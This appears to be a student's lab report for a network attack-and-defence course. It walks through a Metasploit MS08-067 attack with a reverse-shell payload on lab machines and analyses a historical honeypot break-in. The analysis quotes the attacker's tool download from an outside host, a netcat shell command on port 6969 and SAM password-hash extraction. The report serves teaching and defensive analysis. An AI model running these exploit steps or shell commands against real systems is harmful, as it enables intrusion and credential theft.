20212911陈金翔-2022-3 网络攻防实践 第六次(第八周)作业
1.知识梳理
1.1Metasploit
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
Metasploit常用命令介绍
命令 |
介绍 |
show exploit |
列出metasploit框架中的所有渗透攻击模块。 |
show payloads |
列出metasploit框架中的所有攻击载荷。 |
show auxiliary |
列出metasploit框架中的所有辅助攻击模块。 |
search name |
查找metasploit框架中的所有渗透攻击和其他模块。 |
info |
展示出制定渗透攻击或模块的相关信息。 |
use name |
装载一个渗透攻击或者模块。 |
LHOST |
目标主机链接的IP地址。 |
RHOST |
远程主机或者目标主机。 |
set function |
设置特定的配置参数。 |
run scriptname |
运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。 |
use priv |
加载特权提升扩展模块,来扩展meterpreter库。 |
use incognito |
加载inconito功能(用来盗取目标主机的令牌或是假冒用户) |
getsystem |
通过各种攻击向量来提升到系统用户权限。 |
shell |
以所有可用令牌来运行一个交互的shell。 |
1.2ms08-067
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution). MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
1.3Windows身份认证机制
安全主体:进行系统资源访问请求的实体对象,包括用户、用户组、计算机。(有唯一标识SID)
Windows为每个用户和计算机设置账户(accounts)进行管理;(限制账户内运行程序对系统资源对象的访问。
Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中;对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证,支持本地身份认证和网络身份认证(客户端访问网络服务器资源时,客户端Netlogon与服务器端Netlogon进行基于"质询-应答式"的身份验证协议过程)两种;
Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程
使用不安全的NTLM和LANMAN协议,攻击者可实施针对Windows的远程口令监听与破解
1.4Windows攻防技术
Windows本地特权提升:主要通过DLL注入和破解本地程序安全漏洞提升本地特权;Windows敏感信息窃取:Windows系统口令密文提取技术中使用磁盘修复工具包中的rdisk工具创建SAM备份文件副本,并且使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文;Windows消踪灭迹:这里主要是攻击者攻击之后需要清除自己的痕迹,一般采取的方式有:关闭审计功能、清理事件日志;Windows远程控制与后门程序:攻击者在目标系统上完成提权、信息窃取、掩灭踪迹后为了下次能再次登录这才主机会设置后门程序。
2.实践过程
动手实践:Metasploit Windows Attack
任务:使用Metasploit软件进行Windows远程渗透攻击实验;使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权;
机器 | 角色 | IP |
---|---|---|
kali | 攻击机 | 192.168.2.3 |
Win Server | 靶机 | 192.168.2.6 |
在kali打开metasploit
,输入msfconsole
,回车后就会进入到他的控制台界面,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。
use exploit/windows/smb/ms08_067_netapi
看路径可以知道这是一个可用于渗透攻击的,攻击Windows SMB协议的,针对漏洞ms08-067
然后用show payloads
显示可用payload
输入set payload generic/shell_reverse_tcp
设置攻击的载荷为tcp的反向连接;
输入show options
展示渗透攻击需要设置的参数;
输入show targets
展示可渗透攻击的靶机的操作系统及版本;
输入set LHOST 192.168.2.3
设置渗透攻击的主机是kali;
输入set RHOST 192.168.2.6
设置渗透攻击的靶机IP;
输入exploit
开始渗透攻击;
成功获得win的shell,执行ipconfig成功
查询到了靶机的IP
动手实践:解码一次成功的NT系统破解攻击。
任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106 (主机名为: lab.wiretrip.net), 这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。
你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。
-
攻击者使用了什么破解工具进行攻击?
-
攻击者如何使用这个破解工具进入并控制了系统?
-
当攻击者获得系统的访问权后做了什么?
-
我们如何防止这样的攻击?
-
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
用Wireshark打开日志文件发现日志文件由以下内容组成:
- 可识别的HTTP协议内容
- 可识别的SQL语言代码内容
- 可识别的系统操作代码内容
- 不可识别的数据(二进制数据)
wireshark打开.log文件,统计>HTTP->请求
按条件筛选ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
,找到No.117数据包,发现boot.ini启动,以及Unicode编码%C0%AF
对No.149追踪tcp流,可以看到字符串"ADM!ROX!YOUR!WORLD"和查询语句中的dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,经查询得知,这次攻击是由rain forest puppy编写的msadc(2).pl渗透代码发起的
在HTTP流中还发现了一组shell脚本代码:
通过图可以看到字符串ADM!ROX!YOUR!WORLD
出现的频率很高,通过查询发现这是一个名为msadc2.pl工具发起的攻击
筛选ftp连接,发现直到编号1106连接成功的:
追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接www.nether.net,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。
在下载完文件之后,查看到 1224 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻击者连接了6969端口,并且获得了访问权限
用tcp.port == 6969筛选一下,然后追踪一下TCP流来发现攻击者的行为
攻击者首先尝试列出会话,但因为权限问题被拒绝:
列出用户:
发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r:
攻击者删除了samdump和pdump文件
使用 rdisk 尝试获得 SAM 口令文件(安全账号管理器),rdisk
是磁盘修复程序,执行 rdisk /s- 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印:
攻击者知道他的目标是一台蜜罐主机,因为追踪后发现攻击者输入了如下内容echo best honeypot i've seen till now :) > rfp.txt,由此可知攻击者知道他的目标是一台蜜罐主机
Windows系统远程渗透攻击与分析
任务:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
我们重复实践一的步骤,在运行最后一步exploit时开启wireshark,我们可以看到靶机与攻击机的ip地址,端口信息等
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出被攻击的同学信息、使用漏洞、相关IP地址等)
被攻击者IP:192.168.1.110
使用漏洞:ms08-067
团队对抗实践:windows系统远程渗透攻击和分析。
kali中输入msfconsole启动msfconsole
输入use windows/smb/ms08_067_netapi选择使用的漏洞
输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接
输入set LHOST 192.168.1.111设置攻击机IP;
输入set RHOST 192.168.1.110设置靶机IP;
输入exploit开始攻击
成功执行命令
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
攻击者IP:192.168.1.111
Wireshark拦截到攻击报文
靶机执行并返回了攻击者的命令
3.学习中遇到的问题及解决
在访问对方的虚拟机时,即使在同一个网段里也无法访问,必须设置让对方的主机将对应的数据包转发到vm的虚拟机里才能互相连通。
4.学习感想和体会
在本次实验中,我学会了如何使用Metasploit进行漏洞攻击,这也提醒我们要即使更新官方的漏洞库,不然就很容易将自己置于危险之中。